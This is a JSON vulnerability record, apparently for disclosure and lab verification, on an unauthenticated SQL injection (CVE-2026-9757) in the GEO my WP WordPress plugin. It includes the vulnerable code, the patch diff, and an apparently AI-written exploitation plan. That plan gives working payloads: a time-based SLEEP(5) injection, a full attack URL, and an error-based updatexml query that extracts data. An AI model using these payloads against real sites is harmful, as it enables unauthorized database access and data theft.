[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fH7tbG0KP-kAoRRYC6xAvzs6ZMxk3xK_iyWRucGhdFlQ":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":25,"research_verified":26,"research_rounds_completed":27,"research_plan":28,"research_summary":29,"research_vulnerable_code":30,"research_fix_diff":31,"research_exploit_outline":32,"research_model_used":33,"research_started_at":34,"research_completed_at":35,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":26,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":26,"source_links":36},"CVE-2026-9757","geo-my-wp-unauthenticated-sql-injection-via-swlatlng-nelatlng-parameters","GEO my WP \u003C= 4.5.5 - Unauthenticated SQL Injection via 'swlatlng' \u002F 'nelatlng' Parameters","The GEO my WP plugin for WordPress is vulnerable to SQL Injection via the 'swlatlng' and 'nelatlng' parameters in all versions up to, and including, 4.5.5 The parameters are read from $_SERVER['QUERY_STRING'] via parse_str() (bypassing WordPress's wp_magic_quotes protection, which only covers $_POST\u002F$_GET\u002F$_COOKIE\u002F$_REQUEST), then each is split on ',' via explode() and the resulting fragments are interpolated directly into a SQL BETWEEN clause in gmw_get_locations_within_boundaries_sql() without is_numeric() validation, (float) casting, esc_sql(), or $wpdb->prepare(). This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. Exploitation requires the site to host the Posts Locator search-results shortcode (`[gmw form=\"results\" form_id=N]`) on a public page and to have at least one published post with an associated gmw_location row.","geo-my-wp",null,"\u003C=4.5.5","4.5.5.1","high",7.5,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:U\u002FC:H\u002FI:N\u002FA:N","Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","2026-05-29 20:40:30","2026-05-30 09:29:01",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F042f78a4-2256-4286-aa03-8bd8b7a79530?source=api-prod",1,[22,23,24],"geo-my-wp.php","includes\u002Fgmw-functions.php","readme.txt","researched",false,3,"This research plan outlines the steps required to exploit a SQL Injection vulnerability in the **GEO my WP** plugin (CVE-2026-9757).\n\n### 1. Vulnerability Summary\n*   **Vulnerability:** Unauthenticated SQL Injection.\n*   **Location:** `gmw_get_locations_within_boundaries_sql()` (inferred).\n*   **Cause:** The plugin extracts parameters `swlatlng` and `nelatlng` from `$_SERVER['QUERY_STRING']` using `parse_str()`. This bypasses WordPress's global `wp_magic_quotes` (which only affects `$_GET`, `$_POST`, etc.). The values are then `exploded` by a comma and interpolated directly into a SQL `BETWEEN` clause without any type casting (`float`), validation (`is_numeric`), or parameterization (`$wpdb->prepare`).\n*   **Impact:** Unauthenticated attackers can extract sensitive data from the database via time-based or union-based SQL injection.\n\n### 2. Attack Vector Analysis\n*   **Endpoint:** Any public page containing the `[gmw form=\"results\" form_id=N]` shortcode.\n*   **Hook:** Triggered during a location-based search or map boundary update.\n*   **HTTP Parameter:** `swlatlng` (and `nelatlng`) passed via the URL query string.\n*   **Authentication:** None (Unauthenticated).\n*   **Preconditions:** \n    1.  A \"Posts Locator\" form must be configured.\n    2.  A page must exist with the results shortcode.\n    3.  At least one post must have a location associated with it in the `wp_gmw_locations` table.\n\n### 3. Code Flow\n1.  **Request:** A GET request is sent to a page with the GMW shortcode, containing `swlatlng` in the query string.\n2.  **Processing:** The plugin identifies the search parameters.\n3.  **Bypass:** It uses `parse_str( $_SERVER['QUERY_STRING'], $query_args )`. Because it uses the raw `$_SERVER` variable, WordPress has not escaped any single quotes or backslashes.\n4.  **Parsing:** `explode( ',', $query_args['swlatlng'] )` splits the string into latitude and longitude fragments.\n5.  **Sink:** The fragments are placed into a string-interpolated SQL query:\n    `$sql = \" ... lat BETWEEN {$sw[0]} AND {$ne[0]} ... \";`\n6.  **Execution:** `$wpdb->get_results( $sql )` executes the malicious query.\n\n### 4. Nonce Acquisition Strategy\nWhile the vulnerability resides in the query processing, GMW often requires a nonce for AJAX-based map updates or search submissions.\n\n1.  **Shortcode Placement:** Create a page with the Posts Locator shortcode:\n    `wp post create --post_type=page --post_status=publish --post_content='[gmw form=\"results\" form_id=1]'`\n2.  **Navigation:** Navigate to this page using `browser_navigate`.\n3.  **Extraction:** GMW typically localizes variables for its JavaScript components. Use `browser_eval` to extract the nonce and form settings:\n    *   **Variable Name:** `window.gmwVars` or `window.gmw_form_settings`.\n    *   **Logic:** `browser_eval(\"window.gmwVars?.ajax_nonce || window.gmw_form_settings?.[1]?.nonce\")`.\n    *   *Note:* The form ID (e.g., `1`) is usually the key in the settings object.\n\n### 5. Exploitation Strategy\n\n**Payload Selection:**\nSince the input is interpolated into a `BETWEEN` clause without quotes, we can use a time-based payload to confirm the vulnerability.\n\n**Target Payload (for `swlatlng`):**\n`1) AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -,2`\n\n**HTTP Request (via `http_request`):**\n*   **Method:** `GET`\n*   **URL:** `http:\u002F\u002Flocalhost:8080\u002F{page-with-shortcode}\u002F?gmw_v=1.0&gmw=post_types_locator&action=gmw_ajax_get_locations&swlatlng=1)%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(5)))a)--%20-,2&nelatlng=45,45`\n*   **Headers:** `Content-Type: application\u002Fx-www-form-urlencoded`\n\n**Steps:**\n1.  **Baseline Request:** Measure the time for a normal request with `swlatlng=1,1&nelatlng=45,45`.\n2.  **Attack Request:** Send the request with the `SLEEP(5)` payload.\n3.  **Observation:** If the response time is significantly > 5 seconds, SQLi is confirmed.\n\n### 6. Test Data Setup\nTo ensure the code path reaches the SQL sink, GMW must find \"something\" to query.\n1.  **Activate Plugin:** `wp plugin activate geo-my-wp`.\n2.  **Create Post:** `wp post create --post_title=\"Location Test\" --post_status=\"publish\" --post_type=\"post\"` (Assume ID is 123).\n3.  **Insert GMW Location:**\n    ```bash\n    wp db query \"INSERT INTO wp_gmw_locations (object_id, object_type, lat, lng, status) VALUES (123, 'post', 10.0, 10.0, 1)\"\n    ```\n4.  **Create GMW Form:** GMW stores forms in the `gmw_forms` option. A default form must exist. If not, use:\n    `wp option update gmw_forms '{\"1\":{\"ID\":1,\"slug\":\"posts_locator\",\"addon\":\"posts_locator\",\"form_type\":\"posts_locator\",\"name\":\"Test Form\"}}'` (simplified).\n\n### 7. Expected Results\n*   The baseline request should return a standard JSON response (e.g., `[]` or location data) quickly (\u003C 500ms).\n*   The attack request should stall for at least 5 seconds before returning a response.\n\n### 8. Verification Steps\n1.  **Database Confirmation:** After the exploit, verify the query that was executed by checking the MySQL general log (if enabled) or using `wp db query` to verify the structure of the `wp_gmw_locations` table to ensure column names match expectations.\n2.  **Data Extraction:** To demonstrate impact, use an error-based payload to extract the database version:\n    `swlatlng=1) AND updatexml(1,concat(0x7e,(SELECT version()),0x7e),1)-- -,2`\n    The response should contain a SQL error message leaking the version.\n\n### 9. Alternative Approaches\nIf the `$_SERVER['QUERY_STRING']` bypass is blocked by a WAF or server configuration:\n*   **Parameter Polling:** Test if the payload can be delivered via `$_GET['swlatlng']` directly, although the `parse_str` description suggests the raw string is the intended target.\n*   **Blind Boolean:** If `SLEEP()` is disabled, use `IF(1=1, lat, lng)` to change the results returned and verify via the \"success\" vs \"no results\" response.\n*   **Form ID Brute Force:** If form ID `1` doesn't exist, enumerate `form_id` from 1-10.","The GEO my WP plugin for WordPress is vulnerable to unauthenticated SQL Injection via the 'swlatlng' and 'nelatlng' parameters in versions up to 4.5.5. These parameters are parsed from the raw query string and interpolated directly into a SQL BETWEEN clause in the gmw_get_locations_within_boundaries_sql() function without proper validation, casting, or parameterization.","\u002F\u002F includes\u002Fgmw-functions.php (around line 665 in version 4.5.5)\nfunction gmw_get_locations_within_boundaries_sql( $southwest = '', $northeast = '' ) {\n\n\tif ( empty( $southwest ) || empty( $northeast ) ) {\n\t\treturn;\n\t}\n\n\t$sw = explode( ',', $southwest );\n\t$ne = explode( ',', $northeast );\n\n\treturn \" AND ( gmw_locations.latitude BETWEEN {$sw[0]} AND {$ne[0]} ) AND ( ( {$sw[1]} \u003C {$ne[1]} AND gmw_locations.longitude BETWEEN {$sw[1]} AND {$ne[1]} )\n\t\t\tOR ( {$sw[1]} > {$ne[1]} AND (gmw_locations.longitude BETWEEN {$sw[1]} AND 180 OR gmw_locations.longitude BETWEEN -180 AND {$ne[1]} ) ) )\";\n}","--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fgeo-my-wp\u002F4.5.5\u002Fincludes\u002Fgmw-functions.php\t2024-11-09 02:22:42.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fgeo-my-wp\u002F4.5.5.1\u002Fincludes\u002Fgmw-functions.php\t2026-05-29 01:12:32.000000000 +0000\n@@ -523,6 +523,14 @@\n \t\tif ( isset( $output['address'] ) && ! is_array( $output['address'] ) ) {\n \t\t\t$output['address'] = urldecode( $output['address'] );\n \t\t}\n+\n+\t\tif ( isset( $output['swlatlng'] ) && false === gmw_parse_latlng_boundary( $output['swlatlng'] ) ) {\n+\t\t\tunset( $output['swlatlng'] );\n+\t\t}\n+\n+\t\tif ( isset( $output['nelatlng'] ) && false === gmw_parse_latlng_boundary( $output['nelatlng'] ) ) {\n+\t\t\tunset( $output['nelatlng'] );\n+\t\t}\n \t}\n \n \tif ( ! empty( $output['sortby'] ) ) {\n@@ -533,6 +541,43 @@\n }\n \n \u002F**\n+ * Parse and validate a comma separated lat,lng pair.\n+ *\n+ * @param string $boundary comma separated lat,lng value.\n+ *\n+ * @return array|false\n+ *\u002F\n+function gmw_parse_latlng_boundary( $boundary = '' ) {\n+\n+\tif ( ! is_string( $boundary ) || '' === $boundary ) {\n+\t\treturn false;\n+\t}\n+\n+\t$coords = array_map( 'trim', explode( ',', $boundary ) );\n+\n+\tif ( 2 !== count( $coords ) ) {\n+\t\treturn false;\n+\t}\n+\n+\tif ( ! is_numeric( $coords[0] ) || ! is_numeric( $coords[1] ) ) {\n+\t\treturn false;\n+\t}\n+\n+\t$lat = (float) $coords[0];\n+\t$lng = (float) $coords[1];\n+\n+\tif ( ! is_finite( $lat ) || ! is_finite( $lng ) ) {\n+\t\treturn false;\n+\t}\n+\n+\tif ( abs( $lat ) > 90 || abs( $lng ) > 180 ) {\n+\t\treturn false;\n+\t}\n+\n+\treturn array( $lat, $lng );\n+}\n+\n+\u002F**\n  * GMW Function - Covert object to array.\n  *\n  * @param  array $data the array to convert.\n@@ -672,11 +717,29 @@\n \t\treturn;\n \t}\n \n-\t$sw = explode( ',', $southwest );\n-\t$ne = explode( ',', $northeast );\n+\t$sw = gmw_parse_latlng_boundary( $southwest );\n+\t$ne = gmw_parse_latlng_boundary( $northeast );\n+\n+\tif ( false === $sw || false === $ne ) {\n+\t\treturn '';\n+\t}\n+\n+\tglobal $wpdb;\n \n-\treturn \" AND ( gmw_locations.latitude BETWEEN {$sw[0]} AND {$ne[0]} ) AND ( ( {$sw[1]} \u003C {$ne[1]} AND gmw_locations.longitude BETWEEN {$sw[1]} AND {$ne[1]} ) \n-\t\t\tOR ( {$sw[1]} > {$ne[1]} AND (gmw_locations.longitude BETWEEN {$sw[1]} AND 180 OR gmw_locations.longitude BETWEEN -180 AND {$ne[1]} ) ) )\";\n+\treturn $wpdb->prepare(\n+\t\t' AND ( gmw_locations.latitude BETWEEN %f AND %f ) AND ( ( %f \u003C %f AND gmw_locations.longitude BETWEEN %f AND %f )\n+\t\t\t\tOR ( %f > %f AND (gmw_locations.longitude BETWEEN %f AND 180 OR gmw_locations.longitude BETWEEN -180 AND %f ) ) )',\n+\t\t$sw[0],\n+\t\t$ne[0],\n+\t\t$sw[1],\n+\t\t$ne[1],\n+\t\t$sw[1],\n+\t\t$ne[1],\n+\t\t$sw[1],\n+\t\t$ne[1],\n+\t\t$sw[1],\n+\t\t$ne[1]\n+\t);","The exploit targets pages where the [gmw form=\"results\"] shortcode is present. An unauthenticated attacker sends a GET request containing a malicious payload in the 'swlatlng' parameter (e.g., '1) AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -,2'). The plugin extracts this value from the raw $_SERVER['QUERY_STRING'] using parse_str(), which bypasses WordPress's automatic character escaping. The payload is then exploded by commas and the segments are interpolated directly into a SQL query, allowing for time-based or error-based data extraction from the database.","gemini-3-flash-preview","2026-06-04 15:04:31","2026-06-04 15:05:04",{"type":37,"vulnerable_version":38,"fixed_version":11,"vulnerable_browse":39,"vulnerable_zip":40,"fixed_browse":41,"fixed_zip":42,"all_tags":43},"plugin","4.5.5","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fgeo-my-wp\u002Ftags\u002F4.5.5","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fgeo-my-wp.4.5.5.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fgeo-my-wp\u002Ftags\u002F4.5.5.1","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fgeo-my-wp.4.5.5.1.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fgeo-my-wp\u002Ftags"]